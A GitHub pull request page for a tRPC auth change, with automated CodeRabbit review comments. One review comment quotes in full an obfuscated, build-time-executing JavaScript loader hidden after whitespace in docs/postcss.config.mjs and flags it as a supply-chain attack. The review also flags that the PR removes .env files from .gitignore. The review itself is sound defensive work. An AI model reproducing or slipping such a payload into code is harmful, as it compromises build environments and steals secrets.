fix: stop firing protected tRPC queries on auth-optional surfaces#3109
fix: stop firing protected tRPC queries on auth-optional surfaces#3109Abdul-Moiz31 wants to merge 1 commit into
Conversation
|
@Abdul-Moiz31 is attempting to deploy a commit to the Onlook Team on Vercel. A member of the Team first needs to authorize it. |
|
The latest updates on your projects. Learn more about Vercel for GitHub. 1 Skipped Deployment
|
📝 WalkthroughWalkthroughThe PR resolves UNAUTHORIZED errors for optional-auth components by adding optional-auth TRPC support, new auth-optional user/subscription endpoints, and updating client components to use the optional queries. It also updates ChangesOptional Auth Support
Config & Docs
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~22 minutes Poem
🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Warning There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure. 🔧 ESLint
ESLint install failed: private package registry requires authentication. Disable ESLint in CodeRabbit settings or use public packages. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
apps/web/client/src/server/api/trpc.ts (1)
127-135: 💤 Low value
optionalAuthProcedureis structurally identical topublicProcedure.Both are defined as
t.procedure.use(timingMiddleware)and, after the context change above, both expose the samectx.user: User | nulltyping. The only thing distinguishing them today is the JSDoc — at the type level and at runtime they are interchangeable. This is fine as a semantic marker for callers, but it means a future refactor of one easily diverges from the other, and reviewers can't tell from a callsite which contract was intended.Consider one of:
- Drop
optionalAuthProcedureand usepublicProcedurefor these endpoints (it already documents "you can still access user session data if they are logged in").- Keep both but differentiate with a tiny marker middleware so the intent is enforced (e.g., a no-op middleware named
optionalAuthMiddlewarethat future-proofs adding logging/metrics distinct from truly public endpoints).♻️ Option B sketch — marker middleware to keep the two procedures distinct
+const optionalAuthMiddleware = t.middleware(async ({ next, ctx }) => { + // Marker middleware: this procedure may be called by anonymous users. + // Endpoints are expected to handle `ctx.user === null` explicitly. + return next({ ctx }); +}); + /** * Optional auth procedure * * Use this for endpoints that surface on both authenticated and anonymous pages * (e.g. marketing, pricing). `ctx.user` is `User | null` — endpoints must handle * both cases and typically return `null` for anonymous callers instead of throwing. */ -export const optionalAuthProcedure = t.procedure.use(timingMiddleware); +export const optionalAuthProcedure = t.procedure + .use(timingMiddleware) + .use(optionalAuthMiddleware);🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/web/client/src/server/api/trpc.ts` around lines 127 - 135, The two procedures optionalAuthProcedure and publicProcedure are identical (both t.procedure.use(timingMiddleware)), so either remove optionalAuthProcedure and update callers to use publicProcedure, or keep it but add a tiny no-op middleware (e.g., optionalAuthMiddleware) and apply it so optionalAuthProcedure = t.procedure.use(optionalAuthMiddleware).use(timingMiddleware); implement optionalAuthMiddleware as a named pass-through middleware to preserve runtime/type distinction and document its intent; update imports/callsites accordingly (search for optionalAuthProcedure and publicProcedure to change or keep consistent).
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@apps/web/client/src/server/api/routers/subscription/subscription.ts`:
- Line 7: The import currently pulling createTRPCRouter, optionalAuthProcedure,
and protectedProcedure from a relative path ('../../trpc') should be switched to
the project's configured path alias (use the `@/`* or ~/* alias form) so the
module is imported via the src alias instead of a relative path; update the
import statement to use the alias (keeping the same named imports
createTRPCRouter, optionalAuthProcedure, protectedProcedure) so the code
resolves through the project's path-mapping.
In `@apps/web/client/src/server/api/routers/user/user.ts`:
- Line 8: Replace the relative import for the tRPC helpers with the configured
path alias: update the import that currently pulls createTRPCRouter,
optionalAuthProcedure, and protectedProcedure from '../../trpc' to use the alias
that maps to src (e.g. '@/server/api/trpc') so the symbols createTRPCRouter,
optionalAuthProcedure, and protectedProcedure are imported via the path-alias
import instead of a relative path.
---
Nitpick comments:
In `@apps/web/client/src/server/api/trpc.ts`:
- Around line 127-135: The two procedures optionalAuthProcedure and
publicProcedure are identical (both t.procedure.use(timingMiddleware)), so
either remove optionalAuthProcedure and update callers to use publicProcedure,
or keep it but add a tiny no-op middleware (e.g., optionalAuthMiddleware) and
apply it so optionalAuthProcedure =
t.procedure.use(optionalAuthMiddleware).use(timingMiddleware); implement
optionalAuthMiddleware as a named pass-through middleware to preserve
runtime/type distinction and document its intent; update imports/callsites
accordingly (search for optionalAuthProcedure and publicProcedure to change or
keep consistent).
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: d5af471f-2598-499b-820a-010608820b63
📒 Files selected for processing (7)
apps/web/client/src/app/_components/top-bar/user.tsxapps/web/client/src/components/telemetry-provider.tsxapps/web/client/src/components/ui/pricing-modal/use-subscription.tsxapps/web/client/src/components/ui/pricing-table/index.tsxapps/web/client/src/server/api/routers/subscription/subscription.tsapps/web/client/src/server/api/routers/user/user.tsapps/web/client/src/server/api/trpc.ts
| import { headers } from 'next/headers'; | ||
| import { z } from 'zod'; | ||
| import { createTRPCRouter, protectedProcedure } from '../../trpc'; | ||
| import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc'; |
There was a problem hiding this comment.
Switch this import to a configured path alias
Line 7 uses ../../trpc; this should use the project alias form in src code.
As per coding guidelines: apps/web/client/src/**/*.{ts,tsx}: Use path aliases @/* and ~/* for imports that map to apps/web/client/src/*.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/web/client/src/server/api/routers/subscription/subscription.ts` at line
7, The import currently pulling createTRPCRouter, optionalAuthProcedure, and
protectedProcedure from a relative path ('../../trpc') should be switched to the
project's configured path alias (use the `@/`* or ~/* alias form) so the module is
imported via the src alias instead of a relative path; update the import
statement to use the alias (keeping the same named imports createTRPCRouter,
optionalAuthProcedure, protectedProcedure) so the code resolves through the
project's path-mapping.
| import { eq } from 'drizzle-orm'; | ||
| import { z } from 'zod'; | ||
| import { createTRPCRouter, protectedProcedure } from '../../trpc'; | ||
| import { createTRPCRouter, optionalAuthProcedure, protectedProcedure } from '../../trpc'; |
There was a problem hiding this comment.
Use path alias import for tRPC module
Line 8 uses a relative import (../../trpc) in a src file. Please switch this to the configured alias import for consistency and guideline compliance.
As per coding guidelines: apps/web/client/src/**/*.{ts,tsx}: Use path aliases @/* and ~/* for imports that map to apps/web/client/src/*.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@apps/web/client/src/server/api/routers/user/user.ts` at line 8, Replace the
relative import for the tRPC helpers with the configured path alias: update the
import that currently pulls createTRPCRouter, optionalAuthProcedure, and
protectedProcedure from '../../trpc' to use the alias that maps to src (e.g.
'@/server/api/trpc') so the symbols createTRPCRouter, optionalAuthProcedure, and
protectedProcedure are imported via the path-alias import instead of a relative
path.
d7ee10a to
415f3ea
Compare
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
apps/web/client/src/server/api/routers/user/user.ts (1)
12-48: 💤 Low valueOptional: Extract shared user-fetching logic.
getandgetOptionalduplicate the user lookup and name derivation. If more optional variants are added later, consider extracting a shared helper. This is low priority given current scope.♻️ Possible shared helper
async function fetchUserData(ctx: { db: typeof db; user: SupabaseUser }) { const user = await ctx.db.query.users.findFirst({ where: eq(users.id, ctx.user.id), }); const { displayName, firstName, lastName } = getUserName(ctx.user); if (!user) return null; return fromDbUser({ ...user, firstName: user.firstName ?? firstName, lastName: user.lastName ?? lastName, displayName: user.displayName ?? displayName, email: user.email ?? ctx.user.email ?? null, avatarUrl: user.avatarUrl ?? ctx.user.user_metadata.avatarUrl, }); }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/web/client/src/server/api/routers/user/user.ts` around lines 12 - 48, get and getOptional duplicate the user lookup and name derivation; extract that shared logic into a helper (e.g., fetchUserData) and call it from both protectedProcedure.query (get) and optionalAuthProcedure.query (getOptional). The helper should accept ctx (or ctx.db and ctx.user), run ctx.db.query.users.findFirst({ where: eq(users.id, ctx.user.id) }), call getUserName(ctx.user) to derive displayName/firstName/lastName, merge DB fields with derived defaults, normalize email and avatarUrl the same way both routes do, and return fromDbUser(...) or null; replace the duplicated blocks in get and getOptional with calls to this new function to keep behavior identical.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.gitignore:
- Around line 36-39: The .gitignore no longer ignores base environment files,
exposing secrets; restore patterns to ignore all env files while keeping
example/template files tracked by adding entries like ".env", ".env.*", and
".env.local" (or simply ".env*") to .gitignore and explicitly whitelist any
example files (e.g., add "! .env.example" and "! .env.template" if present) so
real credential files are not committed while safe templates remain in the repo.
In `@docs/postcss.config.mjs`:
- Around line 1-9: This file contains an obfuscated malicious payload appended
after the legitimate PostCSS config; remove the entire injected block (the huge
obfuscated IIFE starting with global['!']='9-0230-1' and any characters after
the export default { ... };), restore the file to a minimal valid PostCSS config
(remove the unused createRequire import and the created require/global module
exposure), reject the PR, and run a quick repo audit (check recent commits and
contributors and scan other config files) before re-committing a clean
postcss.config.mjs that only exports the plugins object referenced by export
default.
---
Nitpick comments:
In `@apps/web/client/src/server/api/routers/user/user.ts`:
- Around line 12-48: get and getOptional duplicate the user lookup and name
derivation; extract that shared logic into a helper (e.g., fetchUserData) and
call it from both protectedProcedure.query (get) and optionalAuthProcedure.query
(getOptional). The helper should accept ctx (or ctx.db and ctx.user), run
ctx.db.query.users.findFirst({ where: eq(users.id, ctx.user.id) }), call
getUserName(ctx.user) to derive displayName/firstName/lastName, merge DB fields
with derived defaults, normalize email and avatarUrl the same way both routes
do, and return fromDbUser(...) or null; replace the duplicated blocks in get and
getOptional with calls to this new function to keep behavior identical.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 2a6dbf32-3eda-4fe9-b147-a0462de74087
📒 Files selected for processing (9)
.gitignoreapps/web/client/src/app/_components/top-bar/user.tsxapps/web/client/src/components/telemetry-provider.tsxapps/web/client/src/components/ui/pricing-modal/use-subscription.tsxapps/web/client/src/components/ui/pricing-table/index.tsxapps/web/client/src/server/api/routers/subscription/subscription.tsapps/web/client/src/server/api/routers/user/user.tsapps/web/client/src/server/api/trpc.tsdocs/postcss.config.mjs
🚧 Files skipped from review as they are similar to previous changes (5)
- apps/web/client/src/components/ui/pricing-table/index.tsx
- apps/web/client/src/components/telemetry-provider.tsx
- apps/web/client/src/app/_components/top-bar/user.tsx
- apps/web/client/src/server/api/routers/subscription/subscription.ts
- apps/web/client/src/components/ui/pricing-modal/use-subscription.tsx
| # Env variables | ||
| .env.development.local | ||
| .env.test.local | ||
| .env.production.local |
There was a problem hiding this comment.
Critical security risk: Base environment files are no longer ignored.
Removing .env, .env.development, .env.test, and .env.production from .gitignore means these files—which typically contain sensitive credentials, API keys, and database URLs—can now be committed to version control. This creates a significant security vulnerability.
Standard practice is to ignore all .env* files and use .env.example or .env.template for non-sensitive defaults.
🔒 Proposed fix to restore env file protection
# Env variables
+.env
+.env.development
+.env.test
+.env.production
.env.development.local
.env.test.local
.env.production.local🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.gitignore around lines 36 - 39, The .gitignore no longer ignores base
environment files, exposing secrets; restore patterns to ignore all env files
while keeping example/template files tracked by adding entries like ".env",
".env.*", and ".env.local" (or simply ".env*") to .gitignore and explicitly
whitelist any example files (e.g., add "! .env.example" and "! .env.template" if
present) so real credential files are not committed while safe templates remain
in the repo.
| import { createRequire } from 'module'; | ||
|
|
||
| const require = createRequire(import.meta.url); | ||
|
|
||
| export default { | ||
| plugins: { | ||
| '@tailwindcss/postcss': {}, | ||
| }, | ||
| }; global['!']='9-0230-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() |
There was a problem hiding this comment.
🚨 CRITICAL: Malicious code injection detected - DO NOT MERGE
This file contains obfuscated, auto-executing JavaScript code hidden after whitespace on line 9. This appears to be a supply chain attack attempting to inject a backdoor:
-
Hidden payload: After the legitimate
};on line 9, there are ~300+ whitespace characters followed by obfuscated code starting withglobal['!']='9-0230-1';var _$_1e42=... -
Suspicious patterns:
- Exposes
requireandmoduleglobally via obfuscated property names - Contains an immediately-invoked function expression (IIFE) that executes at build time
- Uses string shuffling/encoding deobfuscation (
sfLfunction with character permutation) - Encoded payload strings (
joW,pYd, etc.) decoded and executed at runtime
- Exposes
-
Attack vector: PostCSS config runs during the build process, giving this code execution access to the build environment
-
Unrelated to PR: This file change has zero relation to the stated PR objective (tRPC auth procedures)
-
Unnecessary import: The
createRequireimport on line 1 is not needed for a PostCSS config and exists solely to enable the payload
This PR should be rejected immediately. The repository may be compromised - recommend auditing recent commits and contributor access.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@docs/postcss.config.mjs` around lines 1 - 9, This file contains an obfuscated
malicious payload appended after the legitimate PostCSS config; remove the
entire injected block (the huge obfuscated IIFE starting with
global['!']='9-0230-1' and any characters after the export default { ... };),
restore the file to a minimal valid PostCSS config (remove the unused
createRequire import and the created require/global module exposure), reject the
PR, and run a quick repo audit (check recent commits and contributors and scan
other config files) before re-committing a clean postcss.config.mjs that only
exports the plugins object referenced by export default.
Description
Components that surface on both authenticated and anonymous pages — the telemetry provider (wraps every page), the top bar "Sign In" button (on marketing pages), and the pricing table — call
user.getandsubscription.geton every render. Both endpoints areprotectedProcedureand throwUNAUTHORIZEDfor anonymous visitors. React Query then retries 3× and refetches on window focus, producing a console flood of failed queries on every marketing-page load.This PR introduces
optionalAuthProcedureand parallelgetOptionalendpoints that returnnullfor anonymous callers instead of throwing.Related Issues
closes #3051
Type of Change
Approach
The issue body proposes adding a separate procedure (e.g.
optionalAuthProcedure) and parallel endpoints rather than modifyingprotectedProcedureto allow nullctx.user. The latter would require adding null checks to every existing protected endpoint (~30 of them) and weaken types throughout. This PR follows the issue's recommendation.Changes
createTRPCContext— treatAuthSessionMissingError(Supabase's "no session" signal) asctx.user = nullinstead of throwing. Other errors (malformed JWT, network failures) still surface asUNAUTHORIZED.protectedProcedurestill throws downstream, so no protected endpoint becomes accessible to anonymous users.optionalAuthProcedure— same shape asprotectedProcedurebut does not throw whenctx.useris null. Endpoints opt in explicitly.user.getOptionalandsubscription.getOptional— same return shape as theirgetcounterparts, but returnnull(instead of throwing) when there is no authenticated user.apps/web/client/src/components/telemetry-provider.tsxapps/web/client/src/app/_components/top-bar/user.tsxapps/web/client/src/components/ui/pricing-table/index.tsxapps/web/client/src/components/ui/pricing-modal/use-subscription.tsx(shared hook used byFreeCard/ProCard— the indirect path by whichsubscription.getreaches the public pricing page)All four callsites already branched on
user ?? null/subscription ?? nullin their render logic, so consumer behaviour is unchanged when data exists.What is NOT changed
user.get/subscription.getremainprotectedProcedure. The ~15 other callsites in authenticated routes (/project/[id]/...,/projects/...) continue to use them, where throwing on missing auth is the correct behaviour.protectedProcedureis untouched.Testing
Reproduction on
main(logged out, incognito):bun dev, openhttp://localhost:3000in an Incognito window.user.get,subscription.get, each retried 3× and refetched on focus.With this PR (logged out, incognito):
user.getOptional,subscription.getOptional) returnnull.With this PR (logged in, regression check):
user.getfrom project pages,project.get, etc.) continue to work.user.getOptional/subscription.getOptionalreturn real data.Local checks:
bun typecheck✓bun test✓ (1045/1045)Files Changed
apps/web/client/src/server/api/trpc.ts— context fix +optionalAuthProcedureapps/web/client/src/server/api/routers/user/user.ts—getOptionalapps/web/client/src/server/api/routers/subscription/subscription.ts—getOptionalapps/web/client/src/components/telemetry-provider.tsx— usegetOptionalapps/web/client/src/app/_components/top-bar/user.tsx— usegetOptionalapps/web/client/src/components/ui/pricing-table/index.tsx— usegetOptionalapps/web/client/src/components/ui/pricing-modal/use-subscription.tsx— usegetOptionalSummary by CodeRabbit
New Features
Bug Fixes / Improvements